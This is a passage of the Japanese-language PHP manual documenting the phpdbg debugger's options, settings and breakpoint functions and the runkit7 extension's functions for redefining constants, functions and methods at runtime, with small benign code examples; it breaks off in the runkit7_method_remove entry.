    • 実行時設定
  • 定義済み定数
  • phpdbg 関数
    • phpdbg_break_file — Inserts a breakpoint at a line in a file
    • phpdbg_break_function — Inserts a breakpoint at entry to a function
    • phpdbg_break_method — Inserts a breakpoint at entry to a method
    • phpdbg_break_next — Inserts a breakpoint at the next opcode
    • phpdbg_clear — Clears all breakpoints
    • phpdbg_color — Sets the color of certain elements
    • phpdbg_end_oplog — 説明
    • phpdbg_exec — Attempts to set the execution context
    • phpdbg_get_executable — 説明
    • phpdbg_prompt — Sets the command prompt
    • phpdbg_start_oplog — 説明

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Implemented as a SAPI module, phpdbg can exert complete control over the environment without impacting the functionality or performance of your code.

phpdbg aims to be a lightweight, powerful, easy to use debugging platform for PHP. It offers the following features:

  • Step-Through Debugging
  • Flexible Breakpoints (Class Method, Function, File:Line, Address, Opcode)
  • Easy Access to PHP with built-in eval()
  • Userland API
  • SAPI Agnostic - Easily Integrated
  • PHP Configuration File Support
  • JIT Super Globals - Set Your Own !!
  • Optional readline Support - Comfortable Terminal Operation
  • Easy Operation - See Help :)

Command line options
Option | Example Argument | Description
-c | -c/my/php.ini | Set php.ini file to load
-d | -dmemory_limit=4G | Set a php.ini directive
-n |  | Disable default php.ini
-q |  | Suppress welcome banner
-v |  | Enable oplog output
-b |  | Disable color
-i | -imy.init | Set .phpdbginit file
-I |  | Ignore default .phpdbginit
-O | -Omy.oplog | Set oplog output file
-r |  | Run execution context
-rr |  | Run execution context and quit after execution (not respecting breakpoints)
-e |  | Generate extended information for debugger/profiler
-E |  | Enable step through eval, careful!
-s | -s=, -s=foo | Read code to execute from stdin with an optional delimiter
-S | -Scli | Override SAPI name, careful!
-l | -l4000 | Setup remote console ports
-a | -a192.168.0.3 | Setup remote console bind address
-x |  | Enable xml output (instead of normal text output)
-p | -p, -p=func, -p* | Output opcodes and quit
-h |  | Print the help overview
-V |  | Print version number
-- | -- arg1 arg2 | Use to delimit phpdbg arguments and php $argv; append any $argv argument after it

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 実行時設定

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

phpdbg 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
phpdbg.eol | 2 | PHP_INI_ALL | Available as of PHP 7.0.0
phpdbg.path |  | 6 | Available as of PHP 5.6.3

以下に設定ディレクティブに関する 簡単な説明を示します。

phpdbg.eol mixed

The kind of line ending to use for output. For setting the value, one of the string aliases must be used.

int Value | string Alias
0 | CRLF, crlf, DOS, dos
1 | LF, lf, UNIX, unix
2 | CR, cr, MAC, mac

phpdbg.path string

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

PHPDBG_VERSION (string)
PHPDBG_FILE (int)
Removed as of PHP 7.3.0.
PHPDBG_METHOD (int)
Removed as of PHP 7.3.0.
PHPDBG_LINENO (int)
Removed as of PHP 7.3.0.
PHPDBG_FUNC (int)
Removed as of PHP 7.3.0.
PHPDBG_COLOR_PROMPT (int)
PHPDBG_COLOR_NOTICE (int)
PHPDBG_COLOR_ERROR (int)

User Contributed Notes

There are no user contributed notes for this page.


phpdbg 関数

目次

  • phpdbg_break_file — Inserts a breakpoint at a line in a file
  • phpdbg_break_function — Inserts a breakpoint at entry to a function
  • phpdbg_break_method — Inserts a breakpoint at entry to a method
  • phpdbg_break_next — Inserts a breakpoint at the next opcode
  • phpdbg_clear — Clears all breakpoints
  • phpdbg_color — Sets the color of certain elements
  • phpdbg_end_oplog — 説明
  • phpdbg_exec — Attempts to set the execution context
  • phpdbg_get_executable — 説明
  • phpdbg_prompt — Sets the command prompt
  • phpdbg_start_oplog — 説明

User Contributed Notes

There are no user contributed notes for this page.


Inserts a breakpoint at a line in a file

  • ≪ phpdbg 関数
  • phpdbg_break_function ≫
  • PHP Manual
  • phpdbg 関数
  • Inserts a breakpoint at a line in a file

phpdbg_break_file

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_file — Inserts a breakpoint at a line in a file

説明

phpdbg_break_file ( string $file , int $line ) : void

Insert a breakpoint at the given line in the given file.

パラメータ

file

The name of the file.

line

The line number.

返り値

値を返しません。

参考

  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

There are no user contributed notes for this page.


Inserts a breakpoint at entry to a function

  • ≪ phpdbg_break_file
  • phpdbg_break_method ≫
  • PHP Manual
  • phpdbg 関数
  • Inserts a breakpoint at entry to a function

phpdbg_break_function

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_function — Inserts a breakpoint at entry to a function

説明

phpdbg_break_function ( string $function ) : void

Insert a breakpoint at the entry to the given function.

パラメータ

function

The name of the function.

返り値

値を返しません。

参考

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

There are no user contributed notes for this page.


Inserts a breakpoint at entry to a method

  • ≪ phpdbg_break_function
  • phpdbg_break_next ≫
  • PHP Manual
  • phpdbg 関数
  • Inserts a breakpoint at entry to a method

phpdbg_break_method

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_method — Inserts a breakpoint at entry to a method

説明

phpdbg_break_method ( string $class , string $method ) : void

Insert a breakpoint at the entry to the given method of the given class.

パラメータ

class

The name of the class.

method

The name of the method.

返り値

値を返しません。

参考

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

There are no user contributed notes for this page.


Inserts a breakpoint at the next opcode

  • ≪ phpdbg_break_method
  • phpdbg_clear ≫
  • PHP Manual
  • phpdbg 関数
  • Inserts a breakpoint at the next opcode

phpdbg_break_next

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_next — Inserts a breakpoint at the next opcode

説明

phpdbg_break_next ( ) : void

Insert a breakpoint at the next opcode.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_clear() - Clears all breakpoints

User Contributed Notes

There are no user contributed notes for this page.


Clears all breakpoints

  • ≪ phpdbg_break_next
  • phpdbg_color ≫
  • PHP Manual
  • phpdbg 関数
  • Clears all breakpoints

phpdbg_clear

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_clear — Clears all breakpoints

説明

phpdbg_clear ( ) : void

Clear all breakpoints that have been set, either via one of the phpdbg_break_*() functions or interactively in the console.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • phpdbg_break_file() - Inserts a breakpoint at a line in a file
  • phpdbg_break_function() - Inserts a breakpoint at entry to a function
  • phpdbg_break_method() - Inserts a breakpoint at entry to a method
  • phpdbg_break_next() - Inserts a breakpoint at the next opcode

User Contributed Notes

There are no user contributed notes for this page.


Sets the color of certain elements

  • ≪ phpdbg_clear
  • phpdbg_end_oplog ≫
  • PHP Manual
  • phpdbg 関数
  • Sets the color of certain elements

phpdbg_color

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_color — Sets the color of certain elements

説明

phpdbg_color ( int $element , string $color ) : void

Set the color of the given element.

パラメータ

element

One of the PHPDBG_COLOR_* constants.

color

The name of the color. One of white, red, green, yellow, blue, purple, cyan or black, optionally with either a trailing -bold or -underline, for instance, white-bold or green-underline.

返り値

値を返しません。

参考

  • phpdbg_prompt() - Sets the command prompt

User Contributed Notes

There are no user contributed notes for this page.


説明

  • ≪ phpdbg_color
  • phpdbg_exec ≫
  • PHP Manual
  • phpdbg 関数
  • 説明

phpdbg_end_oplog

(PHP 7, PHP 8)

phpdbg_end_oplog —

説明

phpdbg_end_oplog ( array $options = [] ) : array|null

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

options

返り値

User Contributed Notes

There are no user contributed notes for this page.


Attempts to set the execution context

  • ≪ phpdbg_end_oplog
  • phpdbg_get_executable ≫
  • PHP Manual
  • phpdbg 関数
  • Attempts to set the execution context

phpdbg_exec

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_exec — Attempts to set the execution context

説明

phpdbg_exec ( string $context ) : string|bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

context

返り値

If the execution context was set previously it is returned. If the execution context was not set previously true is returned. If the request to set the context fails, false is returned, and an E_WARNING raised.

User Contributed Notes

There are no user contributed notes for this page.


説明

  • ≪ phpdbg_exec
  • phpdbg_prompt ≫
  • PHP Manual
  • phpdbg 関数
  • 説明

phpdbg_get_executable

(PHP 7, PHP 8)

phpdbg_get_executable —

説明

phpdbg_get_executable ( array $options = [] ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

options

返り値

User Contributed Notes

There are no user contributed notes for this page.


Sets the command prompt

  • ≪ phpdbg_get_executable
  • phpdbg_start_oplog ≫
  • PHP Manual
  • phpdbg 関数
  • Sets the command prompt

phpdbg_prompt

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_prompt — Sets the command prompt

説明

phpdbg_prompt ( string $string ) : void

Set the command prompt to the given string.

パラメータ

string

The string to use as command prompt.

返り値

値を返しません。

参考

  • phpdbg_color() - Sets the color of certain elements

User Contributed Notes

There are no user contributed notes for this page.


説明

  • ≪ phpdbg_prompt
  • runkit7 ≫
  • PHP Manual
  • phpdbg 関数
  • 説明

phpdbg_start_oplog

(PHP 7, PHP 8)

phpdbg_start_oplog —

説明

phpdbg_start_oplog ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


runkit7

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • runkit7 関数
    • runkit7_constant_add — Similar to define(), but allows defining in class definitions as well
    • runkit7_constant_redefine — Redefine an already defined constant
    • runkit7_constant_remove — Remove/Delete an already defined constant
    • runkit7_function_add — Add a new function, similar to create_function
    • runkit7_function_copy — Copy a function to a new function name
    • runkit7_function_redefine — Replace a function definition with a new implementation
    • runkit7_function_remove — Remove a function definition
    • runkit7_function_rename — Change a function's name
    • runkit7_import — Process a PHP file importing function and class definitions, overwriting where appropriate
    • runkit7_method_add — Dynamically adds a new method to a given class
    • runkit7_method_copy — Copies a method from class to another
    • runkit7_method_redefine — Dynamically changes the code of the given method
    • runkit7_method_remove — Dynamically removes the given method
    • runkit7_method_rename — Dynamically changes the name of the given method
    • runkit7_object_id — Return the integer object handle for given object
    • runkit7_superglobals — Return numerically indexed array of registered superglobals
    • runkit7_zval_inspect — Returns information about the passed in value with data types, reference counts, etc

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The runkit7 extension provides means to modify constants, user-defined functions, and user-defined classes. It also provides for custom superglobal variables.

This package is a fork of the » runkit package providing PHP 7 support.

User Contributed Notes

There are no user contributed notes for this page.


要件

Modifying Constants, Functions, Classes, and Methods as well as Custom Superglobals works with all releases of PHP 7. No special requirements are necessary.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/runkit7.

この PECL 拡張モジュールの Windows バイナリ (DLL ファイル) は、PECL のウェブサイトから取得できます。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Runkit Configuration Options
名前 | デフォルト | 変更可能 | 変更履歴
runkit.superglobal | "" | PHP_INI_PERDIR |
runkit.internal_override | "0" | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

runkit.superglobal string
Comma-separated list of variable names to be treated as superglobals. This value should be set in the systemwide php.ini file, but may work in perdir configuration contexts depending on your SAPI.

例1 Custom Superglobals with runkit.superglobal=_FOO,_BAR in php.ini

<?php
function show_values() {
  echo "Foo is $_FOO\n";
  echo "Bar is $_BAR\n";
  echo "Baz is $_BAZ\n";
}

$_FOO = 'foo';
$_BAR = 'bar';
$_BAZ = 'baz';

/* Displays foo and bar, but not baz */
show_values();
?>
runkit.internal_override bool
Enables ability to modify/rename/remove internal functions.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

RUNKIT7_IMPORT_FUNCTIONS (int)
runkit7_import() flag indicating that normal functions should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_METHODS (int)
runkit7_import() flag indicating that class methods should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_CONSTS (int)
runkit7_import() flag indicating that class constants should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_PROPS (int)
runkit7_import() flag indicating that class standard properties should be imported from the specified file.
RUNKIT7_IMPORT_CLASS_STATIC_PROPS (int)
runkit7_import() flag indicating that class static properties should be imported from the specified file. Available since Runkit 1.0.1.
RUNKIT7_IMPORT_CLASSES (int)
runkit7_import() flag representing a bitwise OR of the RUNKIT7_IMPORT_CLASS_* constants.
RUNKIT7_IMPORT_OVERRIDE (int)
runkit7_import() flag indicating that if any of the imported functions, methods, constants, or properties already exist, they should be replaced with the new definitions. If this flag is not set, then any imported definitions which already exist will be discarded.
RUNKIT7_ACC_RETURN_REFERENCE (int)
Include this flag to make the function or method being created or redeclared return a reference.
RUNKIT7_ACC_PUBLIC (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method public.
RUNKIT7_ACC_PROTECTED (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method protected.
RUNKIT7_ACC_PRIVATE (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method private.
RUNKIT7_ACC_STATIC (int)
Flag for runkit7_method_add() and runkit7_method_redefine() to make the method static.
RUNKIT7_FEATURE_MANIPULATION (int)
Equal to 1 if runtime manipulation is enabled, and 0 otherwise.
RUNKIT7_FEATURE_SUPERGLOBALS (int)
Equal to 1 if custom superglobals are enabled, and 0 otherwise.
RUNKIT7_FEATURE_SANDBOX (int)
Always 0, it's impractical to implement the sandbox feature in php 7.

User Contributed Notes

There are no user contributed notes for this page.


runkit7 関数

目次

  • runkit7_constant_add — Similar to define(), but allows defining in class definitions as well
  • runkit7_constant_redefine — Redefine an already defined constant
  • runkit7_constant_remove — Remove/Delete an already defined constant
  • runkit7_function_add — Add a new function, similar to create_function
  • runkit7_function_copy — Copy a function to a new function name
  • runkit7_function_redefine — Replace a function definition with a new implementation
  • runkit7_function_remove — Remove a function definition
  • runkit7_function_rename — Change a function's name
  • runkit7_import — Process a PHP file importing function and class definitions, overwriting where appropriate
  • runkit7_method_add — Dynamically adds a new method to a given class
  • runkit7_method_copy — Copies a method from class to another
  • runkit7_method_redefine — Dynamically changes the code of the given method
  • runkit7_method_remove — Dynamically removes the given method
  • runkit7_method_rename — Dynamically changes the name of the given method
  • runkit7_object_id — Return the integer object handle for given object
  • runkit7_superglobals — Return numerically indexed array of registered superglobals
  • runkit7_zval_inspect — Returns information about the passed in value with data types, reference counts, etc

User Contributed Notes

There are no user contributed notes for this page.


Similar to define(), but allows defining in class definitions as well

  • ≪ runkit7 関数
  • runkit7_constant_redefine ≫
  • PHP Manual
  • runkit7 関数
  • Similar to define(), but allows defining in class definitions as well

runkit7_constant_add

(PECL runkit7 >= Unknown)

runkit7_constant_add — Similar to define(), but allows defining in class definitions as well

説明

runkit7_constant_add ( string $constname , mixed $value , int $newVisibility = ? ) : bool

パラメータ

constname

Name of constant to declare. Either a string to indicate a global constant, or classname::constname to indicate a class constant.

value

NULL, Bool, Long, Double, String, Array, or Resource value to store in the new constant.

newVisibility

Visibility of the constant, for class constants. Public by default. One of the RUNKIT7_ACC_* constants.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • define() - 名前を指定して定数を定義する
  • runkit7_constant_redefine() - Redefine an already defined constant
  • runkit7_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Redefine an already defined constant

  • ≪ runkit7_constant_add
  • runkit7_constant_remove ≫
  • PHP Manual
  • runkit7 関数
  • Redefine an already defined constant

runkit7_constant_redefine

(PECL runkit7 >= Unknown)

runkit7_constant_redefine — Redefine an already defined constant

説明

runkit7_constant_redefine ( string $constname , mixed $value , string $newVisibility = ? ) : bool

パラメータ

constname

Constant to redefine. Either the name of a global constant, or classname::constname indicating class constant.

value

Value to assign to the constant.

newVisibility

The new visibility of the constant, for class constants. Unchanged by default. One of the RUNKIT7_ACC_* constants.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • runkit7_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit7_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Remove/Delete an already defined constant

  • ≪ runkit7_constant_redefine
  • runkit7_function_add ≫
  • PHP Manual
  • runkit7 関数
  • Remove/Delete an already defined constant

runkit7_constant_remove

(PECL runkit7 >= Unknown)

runkit7_constant_remove — Remove/Delete an already defined constant

説明

runkit7_constant_remove ( string $constname ) : bool

パラメータ

constname

Name of the constant to remove. Either the name of a global constant, or classname::constname indicating a class constant.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • define() - 名前を指定して定数を定義する
  • runkit7_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit7_constant_redefine() - Redefine an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Add a new function, similar to create_function

  • ≪ runkit7_constant_remove
  • runkit7_function_copy ≫
  • PHP Manual
  • runkit7 関数
  • Add a new function, similar to create_function

runkit7_function_add

(PECL runkit7 >= Unknown)

runkit7_function_add — Add a new function, similar to create_function()

説明

runkit7_function_add ( string $funcname , string $arglist , string $code , bool $return_by_reference = null , string $doc_comment = null , string $return_type = ? , bool $is_strict = ? ) : bool
runkit7_function_add ( string $funcname , Closure $closure , string $doc_comment = null , string $return_type = ? , bool $is_strict = ? ) : bool

パラメータ

funcname

Name of the function to be created

arglist

Comma separated argument list

code

Code making up the function

closure

A closure that defines the function.

return_by_reference

Whether the function should return by reference.

doc_comment

The doc comment of the function.

return_type

The return type of the function.

is_strict

Whether the function should behave as if it were declared in a file with strict_types=1

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 A runkit7_function_add() example

<?php
runkit7_function_add('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);
?>

上の例の出力は以下となります。

The value of a is 1
The value of b is 2

参考

  • create_function() - 匿名関数 (ラムダ形式) を作成する
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_rename() - Change a function's name
  • runkit7_function_remove() - Remove a function definition
  • runkit7_method_add() - Dynamically adds a new method to a given class

User Contributed Notes

There are no user contributed notes for this page.


Copy a function to a new function name

  • ≪ runkit7_function_add
  • runkit7_function_redefine ≫
  • PHP Manual
  • runkit7 関数
  • Copy a function to a new function name

runkit7_function_copy

(PECL runkit7 >= Unknown)

runkit7_function_copy — Copy a function to a new function name

説明

runkit7_function_copy ( string $funcname , string $targetname ) : bool

パラメータ

funcname

Name of the existing function

targetname

Name of the new function to copy the definition to

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 A runkit7_function_copy() example

<?php
function original() {
  echo "In a function\n";
}
runkit7_function_copy('original','duplicate');
original();
duplicate();
?>

上の例の出力は以下となります。

In a function
In a function

参考

  • runkit7_function_add() - Add a new function, similar to create_function
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_rename() - Change a function's name
  • runkit7_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Replace a function definition with a new implementation

  • ≪ runkit7_function_copy
  • runkit7_function_remove ≫
  • PHP Manual
  • runkit7 関数
  • Replace a function definition with a new implementation

runkit7_function_redefine

(PECL runkit7 >= Unknown)

runkit7_function_redefine — Replace a function definition with a new implementation

説明

runkit7_function_redefine ( string $funcname , string $arglist , string $code , bool $return_by_reference = null , string $doc_comment = null , string $return_type = ? , string $is_strict = ? ) : bool
runkit7_function_redefine ( string $funcname , Closure $closure , string $doc_comment = null , string $return_type = ? , string $is_strict = ? ) : bool

注意: デフォルトでは、 削除・リネーム・変更が可能なのはユーザー定義関数だけです。組み込み関数を オーバーライドするには、php.ini で runkit.internal_override を有効にする必要があります。

パラメータ

funcname

Name of function to redefine

arglist

New list of arguments to be accepted by function

code

New code implementation

closure

A closure that defines the function.

return_by_reference

Whether the function should return by reference.

doc_comment

The doc comment of the function.

return_type

The return type of the function.

is_strict

Whether the function behaves as if it was declared in a file with strict_types=1

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 A runkit7_function_redefine() example

<?php
function testme() {
  echo "Original Testme Implementation\n";
}
testme();
runkit7_function_redefine('testme','','echo "New Testme Implementation\n";');
testme();
?>

上の例の出力は以下となります。

Original Testme Implementation
New Testme Implementation

参考

  • runkit7_function_add() - Add a new function, similar to create_function
  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_rename() - Change a function's name
  • runkit7_function_remove() - Remove a function definition
  • runkit7_method_redefine() - Dynamically changes the code of the given method

User Contributed Notes

There are no user contributed notes for this page.


Remove a function definition

  • ≪ runkit7_function_redefine
  • runkit7_function_rename ≫
  • PHP Manual
  • runkit7 関数
  • Remove a function definition

runkit7_function_remove

(PECL runkit7 >= Unknown)

runkit7_function_remove — Remove a function definition

説明

runkit7_function_remove ( string $funcname ) : bool

注意: デフォルトでは、 削除・リネーム・変更が可能なのはユーザー定義関数だけです。組み込み関数を オーバーライドするには、php.ini で runkit.internal_override を有効にする必要があります。

パラメータ

funcname

Name of the function to be deleted

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • runkit7_function_add() - Add a new function, similar to create_function
  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.


Change a function's name

  • ≪ runkit7_function_remove
  • runkit7_import ≫
  • PHP Manual
  • runkit7 関数
  • Change a function's name

runkit7_function_rename

(PECL runkit7 >= Unknown)

runkit7_function_rename — Change a function's name

説明

runkit7_function_rename ( string $funcname , string $newname ) : bool

注意: デフォルトでは、 削除・リネーム・変更が可能なのはユーザー定義関数だけです。組み込み関数を オーバーライドするには、php.ini で runkit.internal_override を有効にする必要があります。

パラメータ

funcname

Current function name

newname

New function name

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • runkit7_function_add() - Add a new function, similar to create_function
  • runkit7_function_copy() - Copy a function to a new function name
  • runkit7_function_redefine() - Replace a function definition with a new implementation
  • runkit7_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Process a PHP file importing function and class definitions, overwriting where appropriate

  • ≪ runkit7_function_rename
  • runkit7_method_add ≫
  • PHP Manual
  • runkit7 関数
  • Process a PHP file importing function and class definitions, overwriting where appropriate

runkit7_import

(PECL runkit7 >= Unknown)

runkit7_import — Process a PHP file importing function and class definitions, overwriting where appropriate

説明

runkit7_import ( string $filename , int $flags = ? ) : bool

Similar to include. However, any code residing outside of a function or class is simply ignored. Additionally, depending on the value of flags, any functions or classes which already exist in the currently running environment may be automatically overwritten by their new definitions.

パラメータ

filename

Filename to import function and class definitions from

flags

Bitwise OR of the RUNKIT7_IMPORT_* family of constants.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Dynamically adds a new method to a given class

  • ≪ runkit7_import
  • runkit7_method_copy ≫
  • PHP Manual
  • runkit7 関数
  • Dynamically adds a new method to a given class

runkit7_method_add

(PECL runkit7 >= Unknown)

runkit7_method_add — Dynamically adds a new method to a given class

説明

runkit7_method_add ( string $classname , string $methodname , string $args , string $code , int $flags = RUNKIT7_ACC_PUBLIC , string $doc_comment = null , string $return_type = ? , bool $is_strict = ? ) : bool
runkit7_method_add ( string $classname , string $methodname , Closure $closure , int $flags = RUNKIT7_ACC_PUBLIC , string $doc_comment = null , string $return_type = ? , bool $is_strict = ? ) : bool

パラメータ

classname

The class to which this method will be added

methodname

The name of the method to add

args

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when methodname is called

closure

A closure that defines the method.

flags

The type of method to create, can be RUNKIT7_ACC_PUBLIC, RUNKIT7_ACC_PROTECTED or RUNKIT7_ACC_PRIVATE optionally combined via bitwise OR with RUNKIT7_ACC_STATIC

doc_comment

The doc comment of the method.

return_type

The return type of the method.

is_strict

Whether the method behaves as if it were declared in a file with strict_types=1

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 runkit7_method_add() example

<?php
class Example {
    function foo() {
        echo "foo!\n";
    }
}

// create an Example object
$e = new Example();

// Add a new public method
runkit7_method_add(
    'Example',
    'add',
    '$num1, $num2',
    'return $num1 + $num2;',
    RUNKIT7_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

上の例の出力は以下となります。

16

参考

  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_add() - Add a new function, similar to create_function

User Contributed Notes

There are no user contributed notes for this page.


Copies a method from class to another

  • ≪ runkit7_method_add
  • runkit7_method_redefine ≫
  • PHP Manual
  • runkit7 関数
  • Copies a method from class to another

runkit7_method_copy

(PECL runkit7 >= Unknown)

runkit7_method_copy — Copies a method from class to another

説明

runkit7_method_copy ( string $dClass , string $dMethod , string $sClass , string $sMethod = ? ) : bool

パラメータ

dClass

Destination class for copied method

dMethod

Destination method name

sClass

Source class of the method to copy

sMethod

Name of the method to copy from the source class. If this parameter is omitted, the value of dMethod is assumed.

返り値

例

例1 runkit7_method_copy() example

<?php
class Foo {
    function example() {
        return "foo!\n";
    }
}

class Bar {
    // initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
runkit7_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

上の例の出力は以下となります。

foo!

参考

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_redefine() - Dynamically changes the code of the given method
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_copy() - Copy a function to a new function name

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the code of the given method

  • ≪ runkit7_method_copy
  • runkit7_method_remove ≫
  • PHP Manual
  • runkit7 関数
  • Dynamically changes the code of the given method

runkit7_method_redefine

(PECL runkit7 >= Unknown)

runkit7_method_redefine — Dynamically changes the code of the given method

説明

runkit7_method_redefine ( string $classname , string $methodname , string $args , string $code , int $flags = RUNKIT7_ACC_PUBLIC , string $doc_comment = null , string $return_type = ? , bool $is_strict = ? ) : bool
runkit7_method_redefine ( string $classname , string $methodname , Closure $closure , int $flags = RUNKIT7_ACC_PUBLIC , string $doc_comment = null , string $return_type = ? , bool $is_strict = ? ) : bool

パラメータ

classname

The class in which to redefine the method

methodname

The name of the method to redefine

args

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when methodname is called

closure

A closure that defines the method.

flags

The redefined method can be RUNKIT7_ACC_PUBLIC, RUNKIT7_ACC_PROTECTED or RUNKIT7_ACC_PRIVATE optionally combined via bitwise OR with RUNKIT7_ACC_STATIC

doc_comment

The doc comment of the method.

return_type

The return type of the method.

is_strict

Whether the method behaves as if it was declared in a file with strict_types=1.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 runkit7_method_redefine() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
runkit7_method_redefine(
    'Example',
    'foo',
    '',
    'return "bar!\n";',
    RUNKIT7_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

上の例の出力は以下となります。

Before: foo!
After: bar!

参考

  • runkit7_method_add() - Dynamically adds a new method to a given class
  • runkit7_method_copy() - Copies a method from class to another
  • runkit7_method_remove() - Dynamically removes the given method
  • runkit7_method_rename() - Dynamically changes the name of the given method
  • runkit7_function_redefine() - Replace a function definition with a new implementation

User Contributed Notes

There are no user contributed notes for this page.


Dynamically removes the given method

  • ≪ runkit7_method_redefine
  • runkit7_method_rename ≫
  • PHP Manual
  • runkit7 関数
  • Dynamically removes the given method

runkit7_method_remove

(PECL runkit7 >= Unknown)

runkit7_method_remove — Dynamically removes the given method

説明

runkit7_method_remove ( string $classname , string $methodname ) : bool

注意: この関数は、 現在実行中(もしくはチェーンド)のメソッドを操作することはできません。

パラメータ

classname

The class in which to remove the method

methodname

